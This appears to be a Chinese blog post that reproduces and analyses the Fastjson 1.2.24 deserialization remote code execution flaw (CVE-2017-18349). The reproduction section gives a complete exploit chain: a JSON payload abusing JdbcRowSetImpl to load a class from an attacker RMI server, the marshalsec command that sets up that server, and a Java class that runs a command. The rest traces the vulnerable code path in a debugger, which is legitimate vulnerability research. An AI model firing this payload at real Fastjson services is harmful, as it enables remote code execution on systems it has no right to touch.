Loading

Fastjson 1.2.24 Rce 漏洞复现&分析

一、漏洞背景

漏洞编号:CVE-2017-18349

二、漏洞复现

poc源于https://mntn0x.github.io/2020/04/07/Fastjson%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

计算器poc

POST /FastjsonWeb_war/json HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 147

{           
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit",
	"autoCommit":true
}

rmi:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.52.129:8000/#rce_1_2_24_exploit" 9999

Class:

import java.lang.Runtime;
import java.lang.Process;

public class rce_1_2_24_exploit {
    public rce_1_2_24_exploit(){
        try {
            Runtime.getRuntime().exec("calc.exe");

        } catch (Exception var2){
            var2.printStackTrace();
        }
    }

    public static void main(String[] args) {
        new rce_1_2_24_exploit();
    }
}

http:

python -m SimpleHTTPServer 8000

三、漏洞分析

网络上关于该漏洞的分析的文章已经非常多了,这里做一个大概的分析,执行过程分为两个大部分。

(1)fastjson通过反序列化,将json中指定的字符串对象所属的类的名称(通过反射的方式)完成还原对象的过程。

(2)又因为可以随意还原大部分对象并以此进行调用,因此可以通过这个方式去利用某些类进行远程命令执行。又称之为利用链。

1、反序列化过程

构造payload进行攻击

image-20201115214658175

该接口对应的控制器如下,并且加上断点。

image-20201115214622379

继续跟进parse

进入parse方法中

image-20201115215650068

DefaultJSONParser的构造方法主要在进行解析前的初始化操作。其中ParseConfig.getGlobalInstance()方法将返回global参数。

image-20201115220105446

global变量则是有newParserConfig初始化而来,溯源过程如下

image-20201115220330289

最终逆向回去则得到的是最终通过方法重载的方法调用,主要包括被禁止调用的方法等等。

image-20201115221141967

初始化操作

image-20201115221916049

回到DefaultJSONParser,进入到parse方法中进行解析

image-20201115222417000

由于在上一步初始化操作时已经可以看到当第一个字符为“{”时,lexer.token为12,因此直接进入case12的分支。

image-20201115222810836

开始进入解析操作,取出第一个字符,并且判断该字符是否为双引号,若为双引号,则意味着key的开始

image-20201115223210439

通过scansybol将key的字符串取出来,并切判断该json是否为正常的json,若不正常则抛出异常

image-20201115223759068

此时key的值已为@type。继续往下分析当key的名字取出来之后,则判断该key是否为@type,若为@type则调用继续调用scanSymbol将key的键值取出来,然后使用TypeUtils.loadClass对key的键值即该类进行加载进行的加载

image-20201115224352331

该加载流程为,首先获取默认的类加载器

image-20201115224807070

loadClass加载时,首先判断mappings是否存在,若有则直接返回该mappings中的该类的clazz对象,若无则重新加载到mappings中。

image-20201115230219566

接着上面的case12流程继续走,获取反序列化器

image-20201115232416131

image-20201115232256059

(神奇的是第一次调用的时候deserializer不为空,后来才发现为空于是跟进起重新进行反序列化器的构造)

调用newInstance进行实例化

image-20201116005317986

跟进deserialize方法

image-20201116014249574

转向重载的构造方法

image-20201116014409174

(但是其下一步的asm当中的方法貌似没办法调试,目前对fastjson源码还没有很熟暂且搁置)

image-20201116014441293

继续跟进

image-20201116014604779

其deserialize方法中在遇到@type之后,通过循环去处剩下的key和value值进行解析(通过ScanSymbol)

image-20201116014714526

此时此刻获取到key的值为dataSourceName

image-20201116015323154

再次循环取出key为autoCommit

image-20201116015644605

最终进入parseField方法

image-20201116015844205

这一段有很长的调用链,太复杂了,直接跟到DefaultDeserializer类的this.setValue方法,将其他key取出来的值直接作为参数复制给com.sun.rowset.JdbcRowSetImpl,为内部属性赋值,而在赋值过程中需要调用其内部属性的set方法,如autoCommit的复制最终会调用setAutoCommit方法。

image-20201116020524333

而在setAutoCommit方法中可以看到其调用了connect方法

image-20201116021148985

connect方法中,默认通过jndi的方式(lookup方法)对数据源进行获取,若lookup方法中的参数可控,则会造成命令执行,而其中的dataSourceName恰好是我们可控的,因此便可构造恶意的rmi服务进行攻击。

image-20201116021423010

四、参考

https://mp.weixin.qq.com/s/hPDFCRWsKSA8_72OIFYfAA

https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/#1-2-23版本反序列化RCE

posted @ 2021-02-05 16:01  0x28  阅读(955)  评论(0编辑  收藏  举报